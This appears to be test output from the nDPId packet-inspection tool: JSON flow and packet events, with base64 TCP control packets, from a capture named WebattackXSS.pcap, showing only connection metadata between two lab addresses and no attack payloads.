+00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":323,"flow_packet_id":6,"flow_first_seen":1499347517171,"flow_last_seen":1499347522754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58034,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":324,"flow_packet_id":6,"flow_first_seen":1499347518410,"flow_last_seen":1499347523754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58048,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":324,"flow_packet_id":6,"flow_first_seen":1499347518410,"flow_last_seen":1499347523754,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58048,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":325,"flow_packet_id":6,"flow_first_seen":1499347519679,"flow_last_seen":1499347524756,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58062,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":325,"flow_packet_id":6,"flow_first_seen":1499347519679,"flow_last_seen":1499347524756,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":326,"flow_packet_id":6,"flow_first_seen":1499347522204,"flow_last_seen":1499347527756,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58088,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5177,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":326,"flow_packet_id":6,"flow_first_seen":1499347522204,"flow_last_seen":1499347527756,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58088,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5180,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":366,"flow_packet_id":1,"flow_first_seen":1499347588270,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58798,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":366,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":270699,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nX9AAD4GKFGsEAABwKgKMuWuAFBMCdiIAAAAAKACchANQQAAAgQFtAQCCAoBO0X3AAAAAAEDAwc="} +00444{"flow_id":366,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":270799,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5a7qCbUZTAnYiaAScSBTqgAAAgQFtAQCCAoD5RdtATtF9wEDAwc="} +00432{"flow_id":366,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5183,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":271716,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nYBAAD4GKFisEAABwKgKMuWuAFBMCdiJ6gm1GoAQAOXysAAAAQEICgE7RfgD5Rdt"} +00432{"flow_id":363,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5186,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":774723,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hLBAAD4GQSisEAABwKgKMuV4AFAxSsWpIyLbrIARAOXFTwAAAQEICgE7RnUD5RJ7"} +00433{"flow_id":363,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5187,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":774971,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zEdAAEAG95DAqAoyrBAAAQBQ5XgjItusMUrFqoARAOO\/4AAAAQEICgPlF+sBO0Z1"} +00433{"flow_id":363,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5188,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347588,"pkt_ts_usec":776643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hLFAAD4GQSesEAABwKgKMuV4AFAxSsWqIyLbrYAQAOW\/3QAAAQEICgE7RnYD5Rfr"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5192,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":367,"flow_packet_id":1,"flow_first_seen":1499347589555,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":367,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":555860,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QWlAAD4GhGesEAABwKgKMuW8AFCYtAZQAAAAAKACchCRfgAAAgQFtAQCCAoBO0c5AAAAAAEDAwc="} +00444{"flow_id":367,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5193,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":555987,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5bxlqZ52mLQGUaAScSBxqgAAAgQFtAQCCAoD5RiuATtHOQEDAwc="} +00432{"flow_id":367,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5194,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":557644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QWpAAD4GhG6sEAABwKgKMuW8AFCYtAZRZamed4AQAOUQsgAAAQEICgE7RzkD5Riu"} +00432{"flow_id":364,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":775679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XXdAAD4GaGGsEAABwKgKMuWGAFAsKR84E39KIoARAOUPywAAAQEICgE7R3AD5RO3"} +00432{"flow_id":364,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5199,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":775885,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0UsdAAEAGcRHAqAoyrBAAAQBQ5YYTf0oiLCkfOYARAOMKngAAAQEICgPlGOUBO0dw"} +00432{"flow_id":364,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5200,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347589,"pkt_ts_usec":778584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XXhAAD4GaGCsEAABwKgKMuWGAFAsKR85E39KI4AQAOUKnAAAAQEICgE7R3AD5Rjl"} +00432{"flow_id":365,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347590,"pkt_ts_usec":776161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CJlAAD4GvT+sEAABwKgKMuWUAFD9vEsYEcWgjIARAOW7YAAAAQEICgE7SGoD5RT1"} +00433{"flow_id":365,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5205,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347590,"pkt_ts_usec":776336,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uVNAAEAGCoXAqAoyrBAAAQBQ5ZQRxaCM\/bxLGYARAOO2dwAAAQEICgPlGd8BO0hq"} +00432{"flow_id":365,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5206,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347590,"pkt_ts_usec":777155,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CJpAAD4GvT6sEAABwKgKMuWUAFD9vEsZEcWgjYAQAOW2dQAAAQEICgE7SGoD5Rnf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5213,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":368,"flow_packet_id":1,"flow_first_seen":1499347592060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58838,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":368,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5213,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347592,"pkt_ts_usec":60586,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gghAAD4GQ8isEAABwKgKMuXWAFA6JsujAAAAAKACchAoLQAAAgQFtAQCCAoBO0mrAAAAAAEDAwc="} +00443{"flow_id":368,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5214,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347592,"pkt_ts_usec":60693,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5dZ5GzqJOibLpKAScSBWYgAAAgQFtAQCCAoD5RsgATtJqwEDAwc="} +00431{"flow_id":368,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5215,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347592,"pkt_ts_usec":61609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gglAAD4GQ8+sEAABwKgKMuXWAFA6JsukeRs6ioAQAOX1aQAAAQEICgE7SasD5Rsg"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5222,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":369,"flow_packet_id":1,"flow_first_seen":1499347593330,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":369,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5222,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":330555,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8X5xAAD4GZjSsEAABwKgKMuXkAFAOABV0AAAAAKACchAJOAAAAgQFtAQCCAoBO0roAAAAAAEDAwc="} +00444{"flow_id":369,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":330650,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5eQdKIqzDgAVdaAScSBB+AAAAgQFtAQCCAoD5RxeATtK6AEDAwc="} +00433{"flow_id":369,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":331567,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0X51AAD4GZjusEAABwKgKMuXkAFAOABV1HSiKtIAQAOXg\/gAAAQEICgE7SukD5Rxe"} +00432{"flow_id":366,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5228,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":776580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nYFAAD4GKFesEAABwKgKMuWuAFBMCdiJ6gm1GoARAOXtTwAAAQEICgE7S1gD5Rdt"} +00432{"flow_id":366,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":776764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qddAAEAGGgHAqAoyrBAAAQBQ5a7qCbUaTAnYioARAOPn8AAAAQEICgPlHM0BO0tY"} +00432{"flow_id":366,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347593,"pkt_ts_usec":778543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nYJAAD4GKFasEAABwKgKMuWuAFBMCdiK6gm1G4AQAOXn7gAAAQEICgE7S1gD5RzN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5234,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":370,"flow_packet_id":1,"flow_first_seen":1499347594595,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":370,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5234,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":595504,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80FRAAD4G9XusEAABwKgKMuXyAFCOVJxwAAAAAKACchAAnQAAAgQFtAQCCAoBO0wkAAAAAAEDAwc="} +00444{"flow_id":370,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5235,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":595601,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5fJ5A+8AjlSccaAScSB3+AAAAgQFtAQCCAoD5R2aATtMJAEDAwc="} +00433{"flow_id":370,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5237,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":597549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00FVAAD4G9YKsEAABwKgKMuXyAFCOVJxxeQPvAYAQAOUW\/wAAAQEICgE7TCUD5R2a"} +00432{"flow_id":367,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5241,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":777501,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QWtAAD4GhG2sEAABwKgKMuW8AFCYtAZRZamed4ARAOULmAAAAQEICgE7TFID5Riu"} +00432{"flow_id":367,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5242,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":777693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0g7BAAEAGQCjAqAoyrBAAAQBQ5bxlqZ53mLQGUoARAOMGgAAAAQEICgPlHccBO0xS"} +00432{"flow_id":367,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5243,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347594,"pkt_ts_usec":779528,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QWxAAD4GhGysEAABwKgKMuW8AFCYtAZSZameeIAQAOUGfQAAAQEICgE7TFMD5R3H"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5253,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":371,"flow_packet_id":1,"flow_first_seen":1499347597121,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58892,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":371,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5253,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":121690,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Xm5AAD4GZ2KsEAABwKgKMuYMAFDbqxDyAAAAAKACchA8MgAAAgQFtAQCCAoBO06cAAAAAAEDAwc="} +00444{"flow_id":371,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5254,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":121785,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5gw3EDJr26sQ86AScSCvnwAAAgQFtAQCCAoD5SARATtOnAEDAwc="} +00432{"flow_id":371,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5255,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":122377,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Xm9AAD4GZ2msEAABwKgKMuYMAFDbqxDzNxAybIAQAOVOpwAAAQEICgE7TpwD5SAR"} +00432{"flow_id":368,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5259,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":778478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ggpAAD4GQ86sEAABwKgKMuXWAFA6JsukeRs6ioARAOXv0wAAAQEICgE7T0AD5Rsg"} +00432{"flow_id":368,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5260,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":778673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GjxAAEAGqZzAqAoyrBAAAQBQ5dZ5GzqKOibLpYARAOPqPgAAAQEICgPlILYBO09A"} +00432{"flow_id":368,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5261,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347597,"pkt_ts_usec":780448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ggtAAD4GQ82sEAABwKgKMuXWAFA6JsuleRs6i4AQAOXqOwAAAQEICgE7T0ED5SC2"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":327,"flow_packet_id":6,"flow_first_seen":1499347523488,"flow_last_seen":1499347528757,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58102,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":327,"flow_packet_id":6,"flow_first_seen":1499347523488,"flow_last_seen":1499347528757,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58102,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 